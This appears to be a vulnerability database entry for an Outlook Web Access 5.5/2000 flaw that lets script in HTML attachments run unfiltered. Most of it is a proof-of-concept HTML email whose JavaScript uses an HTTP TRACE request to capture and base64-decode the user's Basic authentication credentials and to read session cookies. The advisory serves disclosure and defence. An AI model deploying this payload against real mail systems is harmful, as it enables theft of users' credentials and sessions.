Microsoft Outlook 5.5/2000 Web Access HTML Attachment Script Execution Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Microsoft Outlook 5.5/2000 Web Access HTML Attachment Script Executio


                                                source: http://www.securityfocus.com/bid/8113/info

OWA contains a vulnerability that may result in attacker-supplied script code executing within the context of the mail interface when processing e-mail containing HTML message attachments. 

It is possible to prevent filtering of the attachment by omitting a certain URI parameter from a generated URL.

If did parameter does not exist, no filtering will be performed. Unfiltered, the script code will execute if embedded in an HTML email opened by a user.

&#60;!DOCTYPE HTML PUBLIC &#34;-//W3C//DTD HTML 4.0 Transitional//EN&#34;&#62;
&#60;HTML&#62;
&#60;BODY bgColor=#ffffff&#62;
&#60;script type=&#34;text/javascript&#34;&#62;
var xmlHttp = new ActiveXObject(&#34;Microsoft.XMLHTTP&#34;)
xmlHttp.open(&#34;TRACE&#34;, &#34;./&#34;, false)

xmlHttp.send()
xmlDoc=xmlHttp.responseText


str1=xmlHttp.responseText

splitString = str1.split(&#34;Authorization: Basic &#34;)
str2=splitString[1]

var base64 = [
&#39;A&#39;, &#39;B&#39;, &#39;C&#39;, &#39;D&#39;, &#39;E&#39;, &#39;F&#39;, &#39;G&#39;, &#39;H&#39;, // 0 to 7
&#39;I&#39;, &#39;J&#39;, &#39;K&#39;, &#39;L&#39;, &#39;M&#39;, &#39;N&#39;, &#39;O&#39;, &#39;P&#39;, // 8 to 15
&#39;Q&#39;, &#39;R&#39;, &#39;S&#39;, &#39;T&#39;, &#39;U&#39;, &#39;V&#39;, &#39;W&#39;, &#39;X&#39;, // 16 to 23
&#39;Y&#39;, &#39;Z&#39;, &#39;a&#39;, &#39;b&#39;, &#39;c&#39;, &#39;d&#39;, &#39;e&#39;, &#39;f&#39;, // 24 to 31
&#39;g&#39;, &#39;h&#39;, &#39;i&#39;, &#39;j&#39;, &#39;k&#39;, &#39;l&#39;, &#39;m&#39;, &#39;n&#39;, // 32 to 39
&#39;o&#39;, &#39;p&#39;, &#39;q&#39;, &#39;r&#39;, &#39;s&#39;, &#39;t&#39;, &#39;u&#39;, &#39;v&#39;, // 40 to 47
&#39;w&#39;, &#39;x&#39;, &#39;y&#39;, &#39;z&#39;, &#39;0&#39;, &#39;1&#39;, &#39;2&#39;, &#39;3&#39;, // 48 to 55
&#39;4&#39;, &#39;5&#39;, &#39;6&#39;, &#39;7&#39;, &#39;8&#39;, &#39;9&#39;, &#39;+&#39;, &#39;/&#39; ]; // 56 to 63

function reverseBase64 () {
var r = new Object();
for (var i = 0; i &#60; 64; i++) {
r[base64[i]] = i;
}
return r;
}

var reversedBase64 = reverseBase64();

function decode (encStr) {
var charCodes = new Array();
var decStr = &#34;&#34;;
for (var i = 0; i &#60; encStr.length; i++)
charCodes[i] = reversedBase64[encStr.charAt(i)];
for (var i = 0; i &#60; encStr.length; i += 4) {
var bits24 = ( charCodes [i] & 0xFF ) &#60;&#60; 18;
bits24 |= ( charCodes [i + 1] & 0xFF ) &#60;&#60; 12;
bits24 |= ( charCodes [i + 2] & 0xFF ) &#60;&#60; 6;
bits24 |= ( charCodes [i + 3] & 0xFF ) &#60;&#60; 0;
decStr += String.fromCharCode((bits24 & 0xFF0000) &#62;&#62; 16);
if (encStr.charAt(i + 2) != &#39;=&#39;) // check for padding character =
decStr += String.fromCharCode((bits24 & 0xFF00) &#62;&#62; 8);
if (encStr.charAt(i + 3) != &#39;=&#39;) // check for padding character =
decStr += String.fromCharCode((bits24 & 0xFF) &#62;&#62; 0);
}
return decStr;
}

document.write(&#34;Your cookie is: &#34;);
document.write(document.cookie);
document.write(&#34;&#60;BR&#62;Your domain credentials are: &#34;)
document.write(decode(str2));


&#60;/script&#62;

&#60;DIV&#62;&#60;FONT face=Arial size=2&#62;&#60;A
href=&#34;http://&#60;IP_or_name_of_the_server&#62;/exchange/&#60;username&#62;/&#60;inbox_name&#62;/&#60;subject&#62;.EML/
1_multipart/2_text.htm&#34;&#62;http://www.ilikemarijuana.com&#60;/A&#62;&#60;/FONT&#62;&#60;/DIV&#62;&#60;/BODY&#62;&#60;/HTML&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1